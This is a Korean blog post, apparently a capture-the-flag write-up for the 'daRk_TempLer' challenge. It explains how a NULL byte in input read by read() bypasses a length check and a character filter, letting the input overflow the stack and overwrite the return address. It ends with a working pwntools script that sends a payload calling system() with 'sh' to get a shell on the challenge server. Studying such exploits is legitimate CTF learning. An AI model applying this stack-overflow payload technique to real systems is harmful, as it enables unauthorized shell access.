본문 바로가기
시스템 해킹/cykor

daRk_TempLer-read함수의 null

by sonysame 2017. 12. 29.

daRk_TempLer



daRk_TempLer문제는 main함수와 check함수로 이루어져 있다.

main함수에서는 Input size를 입력받고, 그 인풋사이즈만큼 read함수를 이용해서 inputbuf에 입력받는다

buf의 길이는 0x40을 넘으면 안된다

check함수에서 buf$&;|`\\><\"'`/\n\r의 특수문자로 이루어 지지 않고 sh문자열이 들어있지 않은지를 확인한다


그리고 다시 main함수에서 system(&buf)를 실행한다.

 

Stack의 주소가 주어지지만, 나는 이를 이용하지 않았고, read함수를 이용했다


read함수는 NULL바이트를 받아들이므로, 입력 중간에 NULL이 있어도 뒤로 계속 입력을 받아들인다

그리고 그 길이는 NULL전까지만 카운트되고, check함수와 system함수의 인자도 NULL까지만 들어간다

따라서 중간에 NULL이 들어간다면 input의 길이에는 제한이 없다. 그래서 리턴어드레스를 덮을 수 있다


문제에서 system의 주소와 sh\x00의 주소가 주어졌으므로, 이를 이용하여 쉘을 딸 수 있었다

입력값 처음에 “id”를 넣어준 이유는 system(&buf)가 오류없이 진행되고 main이 종결되어야 조작한 리턴어드레스를 실행시킬 수 있기 때문이다. 따라서 꼭 “id”가 아니더라도 다양한 인자를 넣을 수 있다.


from pwn import*

import time

 

s=remote('cykor.kr',10003)

s.recvuntil(" > ")

s.send("1000\n")

time.sleep(1)

s.recv(1024)

s.send("id"+"\x00"+"A"*73+"\xc0\x84\x04\x08"+"\xef\xbe\xad\xde"+"\x3f\x89\x04\x08")


'시스템 해킹 > cykor' 카테고리의 다른 글

derby-카나리 릭  (0) 2018.01.02
2015410208-got overwrite  (0) 2018.01.02
catchme-노가다, 스택버퍼오버플로우  (0) 2017.12.29
20121209-메모리 릭, fake ebp  (0) 2017.12.29
dethstarr  (0) 2017.03.11